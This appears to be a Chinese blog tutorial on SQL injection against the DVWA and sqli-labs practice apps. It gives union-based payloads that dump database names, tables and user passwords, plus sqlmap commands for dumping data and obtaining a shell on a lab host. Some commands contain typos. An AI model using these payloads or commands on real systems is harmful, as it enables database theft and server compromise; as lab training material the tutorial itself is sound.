dvwa爆数据库andsqlmap爆数据库

dvwa Injection-LOW

1' union select 1,(select database()) -- - 查询数据库

1

1 and 1=1#

1 and 1=2#

1' and 1=1#

1’ order by 1 -- -   判断列数

1’ unino select 1,2 -- -  判断显位

正常提交payload为1

Union注入

注入点判断

结论:不是数字型注入。

1' and 1=1#

没有结果返回 

结论:字符型注入,单引号闭合

sql语句猜测

First name即回显的First name在数据库中对应的字段,Surname同理

假设表名为users,User ID 对应的字段为id

select First name,Surname from users where id = 'User ID'

字段判断

猜测是2个字段,直接从2开始。

1' order by 2#

 再递增

1' order by 3#

 返回异常

 结论:猜测正确,字段为2

获取数据库名

1' UNION SELECT 1,database() from information_schema.schemata#

 

 结论:数据库名 dvwa

获取表名

1' UNION SELECT 1,table_name from information_schema.tables where table_schema='dvwa'#
 

 

结论:有两个表 guestbook、users

获取列名

假设仅对users表感兴趣,其他表只需要把下面的users改为其他即可。

1' UNION SELECT 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#
 

 

结论:共8列,user_id、first_name、last_name、user、password、avatar、last_login、failed_login

获取数据

假设:first_name、last_name已返回,我们对user和avatar感兴趣。对其他的感兴趣下面就缓存其他列。

为了避免分不清各个数据,使用":",即0x3a进行分隔。

1' UNION SELECT 1,group_concat(user,0x3a,avatar) from users#
 

1' union select 1,CONCAT_WS('!',user_id,first_name,last_name,user,password,last_login) from users#
 

splmap 数据库爆破

打开谷歌输入1开启代理

打开BP抓取数据

复制数据到sqlmap文件夹下创建txt

 运行sqlmap爆破数据库

 

python Sqlmap.py -u “网址”

python sqlmap.py -u "网址" --dbs

Sqlmap.py -u “网址” --cookie=” ”

sqlmap.py --is -dba

Sqlmap.py -r 指定文件1.txt     post请求以及带cookie请求可以用

Sqlmap.py -r 指定文件1.txt --dbs

dbs所有数据库

sqlmap.py -r 1.txt --tables -D “DVWA”    爆表

sqlmap.py -r l.txt --columns -T users”-D“DVWA”   爆破列数

sqlmap.py -r 1.txt --dump -C“user”-T“users”-D“DVWA “下载user字段

sqlmap.py -r 1.txt --dump -T“users”-D“DVWA “下载users表格

sqlmap.py -r 1.txt --dump -D“DVWA “下载DVWA数据库

sqlmap常用命令:

1. sqlmap -u url:对指定的 URL 进行 SQL 注入测试。

2. sqlmap -r request_file:对指定的 HTTP 请求文件进行 SQL 注入测试。

3. sqlmap -d database_url:对指定的数据库 URL 进行 SQL 注入测试。

4. sqlmap --dbs:列出目标数据库中所有可用的数据库名称。

5. sqlmap -D database_name --tables:列出指定数据库中所有可用的数据表名称。

6. sqlmap -D database_name -T table_name --columns:列出指定数据表中所有可用的列名称。

7. sqlmap -D database_name -T table_name -C column_name --dump:获取指定列中的所有数据。

sqlmap高级命令:

1. sqlmap --threads=num:指定使用的线程数。

2. sqlmap --level=num:指定测试的深度级别。

3. sqlmap --risk=num:指定测试的风险级别。

4. sqlmap --batch:以批处理模式运行 sqlmap。

5. sqlmap --random-agent:使用随机的 User-Agent 头部信息。

6. sqlmap --tor:通过 Tor 网络进行测试。

7. sqlmap --proxy=proxy_url:通过指定代理服务器进行测试。

8. sqlmap --dbms=dbms_name:指定要测试的数据库管理系统类型。

9. sqlmap --os=os_name:指定要测试的操作系统类型。

10. sqlmap --technique=technique_name:指定要使用的 SQL 注入技术。

sqlmap --os-shell 在对方是数据库获得shell进行连接

sqlmap --current -db 查看当前库

sqlmap getshell的条件

  1. 拥有数据库dba权限为True
  2. 知道网站的绝对路径
  3. PHP关闭魔术引号
  4. secure_file_priv= 值为空

1.查看当前注入点数据库权限是否为dba:True

sqlmap.py -u "http://192.168.139.137/sql/Less-1/?id=1"

2.寻找绝对路径--is-dba

sqlmap.py -u "http://192.168.139.137/sql/Less-1/?id=1" --sql-shell

因为当前数据库权限为ROOT,我使用--sql-shell指令对数据库进行寻找路径之旅

sql-shell> select @@datadir;

通过数据库位置,我们能够做一些简单的判断:

  1. 他是一个phpStudy搭建的站点
  2. 可以尝试phpStudy默认目录
  3. 尝试构造路径:C:\phpStudy\WWW\sql\

常见的找绝对路径方法:

  1. 网页报错信息
  2. phpinfo、探针
  3. 数据库查询、暴力破解
  4. 参看:常用的绝对路径收集

  1. sqlmap Getshell 让你离shell更近一步 --os-shell - 知乎

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值